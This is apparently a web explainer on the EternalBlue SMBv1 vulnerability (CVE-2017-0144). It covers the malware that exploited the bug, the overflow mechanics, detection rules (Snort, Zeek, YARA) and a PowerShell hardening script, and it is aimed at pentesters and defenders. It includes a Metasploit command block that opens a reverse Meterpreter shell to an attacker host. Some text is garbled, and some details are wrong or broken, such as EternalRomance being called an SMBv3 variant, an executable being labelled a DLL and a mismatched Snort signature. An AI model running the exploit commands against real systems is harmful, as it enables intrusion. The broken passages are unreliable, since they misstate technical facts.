
CVE-2017-0144

"One exploit. Dozens of malware families. Billions in damage."
CVE-2017-0144 is a critical remote code-execution vulnerability in the SMBv1 server implementation in Microsoft Windows. The exploit known as EternalBlue abused this hole and was used in high-impact attacks (notably WannaCry).
| # | Malware | Type | First Seen | Actor | Damage | Notes |
|---|
| 1 | WannaCry | Ransomware | May 12, 2017 | Lazarus Group (DPRK) | $4–8B | Killswitch: iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com |
| 2 | NotPetya | Wiper (Posed as Ransomware) | Jun 27, 2017 | Sandworm (Russia) | $10B+ | Used Mimikatz + EternalBlue + PSEXEC |
| 3 | Bad Rabbit | Ransomware | Oct 24, 2017 | Indrik Spider | Regional | Fake Flash update drive-by |
| 4 | Uiwix | Ransomware | May 2017 | Unknown | Low | No killswitch, stealthier than WannaCry |
| 5 | EternalRocks | Worm | May 2017 | Unknown | Medium | 7 NSA tools (incl. DoublePulsar) |
| 6 | Adylkuzz | Cryptominer | May 2017 | Unknown | High (silent) | Mined Monero before WannaCry |
| 7 | Retefe | Banking Trojan | 2017–2018 | Unknown | EU Banks | Used EternalBlue for lateral movement |
| 8 | TrickBot | Modular Malware | 2017–2021 | Wizard Spider | Global | Dropped Ryuk via EternalBlue |
| 9 | Emotet | Loader | 2017–2021 | TA542 | Global | Used as entry for Cobalt Strike |
| 10 | Clop / Dridex | Ransomware | 2019–2025 | TA505 | Healthcare, Gov | Still active in 2025 |

| Tool | Release | Features |
|---|---|---|
| EternalBlue (Original) | Apr 2017 (Shadow Brokers) | SMBv1 RCE |
| DoublePulsar | Apr 2017 | Backdoor implant (ring0) |
| EternalRomance | Apr 2017 | SMBv3 variant |
| EternalChampion | Apr 2017 | Alternative SMB path |
| Metasploit Module | May 2017 | exploit/windows/smb/ms17_010_eternalblue |
| FuzzBunch | Apr 2017 | NSA exploit framework |
| Impacket + PSEXEC | 2017–2025 | Python SMB exploitation |

"One malformed packet. Full SYSTEM access. No login. No click."
[Attacker]
│
├──▶ Sends crafted SMBv1 **Trans2** request
│ → Triggers **heap overflow** in `srv!SrvOS2FeaListSizeToNt`
│
├──▶ Overwrites function pointers → **kernel shellcode**
│
└──▶ Executes **DoublePulsar** backdoor → **Ring-0 payload**
(e.g., WannaCry `mssecsvc.exe`)
| Requirement | Details |
|---|---|
| Target | Windows with SMBv1 enabled (default pre-Win10) |
| Port Open | 445/TCP (or 139/TCP via NetBIOS) |
| No Auth | Unauthenticated — no username/password needed |
| Architecture | x86 or x64 (both supported) |
| Patch Status | Unpatched (pre-MS17-010) |
SMB_COM_NEGOTIATE → Client sends dialect list
Server responds: SMBv1 supported → Proceed
Why? Confirms SMBv1 is active.

\\TARGET\IPC$ → Anonymous share for SMB pipes
Purpose: Establishes a session to send transaction requests.
SESSION_SETUPFEALIST {
SizeOfListInBytes = 0xFFFF (or large value)
...
}
Bug Trigger:
SrvOS2FeaListSizeToNt()trusts this size without bounds check.

FEA {
AttributeNameLength = 0x00
AttributeName = "A" * 0x1000 → Overflow buffer
}
Heap Spray: Allocates large chunks to control memory layout.
srv!SrvOS2FeaListSizeToNt(
PFEALIST FeaList, // attacker-controlled
PULONG pNtFeaListSize // output pointer
)
{
// No validation of FeaList->SizeOfListInBytes
memcpy(dest, src, FeaList->SizeOfListInBytes); // BOOM
}
Free routine)KeUserModeCallback)mssecsvc.exe)
0x00120034 XOR key)Ping: 0x0002C001Exec: 0x0002C002 + payloadWannaCry Example:
EternalBlue → DoublePulsar → mssecsvc.exe → tasksche.exe → Encrypts files
SMB Header
└── Command: 0x32 (TRANSACTION2)
└── Setup: 0x000E (SESSION_SETUP)
└── Parameter: TotalDataCount = 0x1000
└── Data:
[FEALIST]
SizeOfListInBytes = 0x1100
[FEA #1] NameLen=0, Name="A"*0x1000
[FEA #2] ...
[GROOM x100] → Spray heap
[OVERFLOW] → Overwrite pool
[SHELLCODE] → x64 ring0
| Tool | Language | Module |
|---|---|---|
| Metasploit | Ruby | exploit/windows/smb/ms17_010_eternalblue |
| Impacket | Python | smbclient.py, psexec.py |
| FuzzBunch | Python (NSA) | EternalBlue-2.2.0 |
| Custom C2 | C/C++ | WannaCry, NotPetya |
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit
| Artifact | Location | Value |
|---|---|---|
| DoublePulsar | Kernel memory | XOR key 0x00120034 |
| Shellcode | srvnet.sys pool | 0xCC 0x90 0x48 pattern |
| Injected DLL | C:\Windows\mssecsvc.exe | SHA256: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa |
alert tcp any any -> $HOME_NET 445 (
msg:"ETERNALBLUE Attempt";
flow:to_server,established;
content:"|ff|SMB2"; depth:5;
content:"|00 04 08 00|"; distance:100; within:4;
classtype:attempted-admin;
sid:1000001;
)
event smb1_transaction2_secondary(c: connection, hdr: SMB1::Header, args: SMB1::Trans2_Secondary_Args) {
if (args$data_len > 4096) {
NOTICE([$note=SMB::Large_Trans2_Data, $conn=c]);
}
}
while (true) {
Scan network for port 445
if (open) → EternalBlue exploit
if (success) → Drop mssecsvc.exe + propagate
Sleep(random(1000, 5000))
}
Spread Speed: ~10,000 infections/hour globally.
| Factor | Reason |
|---|---|
| No Auth | SMBv1 allows anonymous IPC$ |
| Wormable | Built-in LAN scanning |
| Kernel RCE | Bypasses AV/user prompts |
| Legacy SMBv1 | Enabled by default for 15+ years |
| Unpatched Systems | XP, 2003, 7 in critical infrastructure |
| Year | Success % (Unpatched) |
|---|---|
| 2017 | 99% |
| 2020 | 85% |
| 2025 | ~60% (legacy only) |
Still works on Windows 7/2008 R2 without MS17-010
EternalBlue = Weaponized Math Error
A trusted size field in SMB → kernel heap overflow → arbitrary code → global ransomware pandemic
SMB Packet → Buffer Overflow → Kernel Shellcode → DoublePulsar → Malware
Visualized, dissected, and battle-tested. For pentesters, IR teams, and defenders.
"One packet. One port. One empire falls."
| OS | KB Patch | Disable SMBv1 | Nmap Script |
|---|---|---|---|
| Windows 7 / 2008 R2 | KB4012212 | sc config lanmanworkstation depend= bowser/mrxsmb20/nsi | smb-vuln-ms17-010.nse |
| Windows 10 | KB4013429 | PowerShell: Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol | |
| Windows XP (EOL) | KB4012598 (Emergency) | Registry: HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\SMB1 = 0 |

rule WannaCry_Ransomware {
strings:
$mz = { 4d 5a }
$s1 = "WannaDecryptor" wide
$s2 = "tasksche.exe"
$s3 = "@WANA" ascii
$encrypt = { 57 61 6E 61 43 72 79 70 74 30 72 }
condition:
$mz at 0 and 2 of ($s*)
}

rule NotPetya_Wiper {
strings:
$pdb = "perfc.dat" nocase
$dll = "dllhost.dat"
$mof = "ntdevmgr.vbs"
$mimikatz = "mimikatz"
condition:
uint16(0) == 0x5A4D and 2 of them
}


rule EternalBlue_SMB_Exploit {
strings:
$smb_negotiate = { 00 00 00 ?? ff 53 4d 42 72 00 }
$tree_connect = { 00 00 00 ?? ff 53 4d 42 75 00 }
$trans2 = { 00 00 00 ?? ff 53 4d 42 32 00 }
$overflow = { 00 04 08 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? }
condition:
all of them
}
| Metric | Status |
|---|---|
| Shodan Exposed SMBv1 | ~1.2 million (Nov 2025) |
| Active Exploits (Honeypots) | Daily |
| Ransomware Using It | Clop, LockBit (legacy targets) |
| Most Vulnerable | Healthcare, Manufacturing, SMBs |
| Zero Trust Fix | Block 445, enforce MFA, EDR |
| Phase | Technique | ID |
|---|---|---|
| Initial Access | Exploit Public App | T1190 |
| Execution | Windows SMB RCE | T1210 |
| Persistence | Backdoor via DoublePulsar | T1505.003 |
| Lateral Movement | SMB/Windows Admin Shares | T1021.002 |
| Impact | Data Encrypted for Impact | T1486 |
# === ETERNALBLUE HARDENING SCRIPT ===
Write-Host "Applying EternalBlue Mitigations..." -ForegroundColor Cyan
# 1. Disable SMBv1
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart
# 2. Block Port 445
New-NetFirewallRule -DisplayName "Block SMB Inbound" -Direction Inbound -Action Block -Protocol TCP -LocalPort 445
# 3. Enable SMB Signing
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" -Name "RequireSecuritySignature" -Value 1
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters" -Name "RequireSecuritySignature" -Value 1
# 4. Check Patch
$patch = Get-HotFix -Id KB4012212 -ErrorAction SilentlyContinue
if ($patch) { Write-Host "Patched!" -ForegroundColor Green } else { Write-Host "UNPATCHED!" -ForegroundColor Red }
Write-Host "Reboot required. Run as Admin."
| Source | Link |
|---|---|
| NVD | nvd.nist.gov/vuln/detail/CVE-2017-0144 |
| Microsoft MS17-010 | msrc.microsoft.com/update-guide |
| MITRE ATT&CK | attack.mitre.org/techniques/T1210 |
| CrowdStrike WannaCry Report | crowdstrike.com/blog/wannacry |
| Kaspersky EternalBlue | kaspersky.com/blog/wannacry-ransomware |
| Shodan Search | shodan.io/search?query=port%3A445+os%3A%22Windows%22 |
CVE-2017-0144 is not dead — it’s a legacy zombie.
It thrives in:
- Unpatched Windows 7/2008
- Shadow IT
- Air-gapped critical systems
- Misconfigured cloud VMs
If you can ping port 445 from the internet — you’re next.
Built with precision, visuals, and real-world threat intel. Updated Nov 2025.
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"Patch it. Block it. Kill it with fire."